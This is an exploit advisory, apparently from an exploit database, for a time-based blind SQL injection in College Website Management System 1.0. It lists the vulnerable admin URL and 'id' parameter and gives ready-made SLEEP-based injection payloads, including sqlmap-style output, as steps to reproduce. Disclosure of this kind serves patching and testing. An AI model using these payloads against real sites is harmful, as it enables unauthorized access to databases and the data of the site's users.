# Exploit Title: College Website Management System 1.0 - SQL Injection # Date: 12/03/2022 # Exploit Author: Mr Empy # Software Link: https://www.sourcecodester.com/php/15203/college-website-content-management-system-phpoop-free-source-code.html # Version: 1.0 # Tested on: Linux Title: ================ College Website Management System 1.0 - SQL Injection Summary: ================ The College Website Management System application in version 1.0 is vulnerable to SQL injection allowing the attacker to make requests to the database. Severity Level: ================ 9.1 (Critical) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N Affected Product: ================ College Website Management System v1.0 Steps to Reproduce: ================ 1. Open your browser and go to http://target/cwms/admin/?page=articles/view_article&id=1. 2. In the "id" parameter add the following payload: ' and (select * from(select(sleep(10)))Avx) and 'abc' = 'abc After that, the server will only respond after 10 seconds have passed. --- Parameter: id (GET)     Type: time-based blind     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)     Payload: page=articles/view_article&id=1' AND (SELECT 2016 FROM (SELECT(SLEEP(5)))kbJu) AND 'SfwZ'='SfwZ ---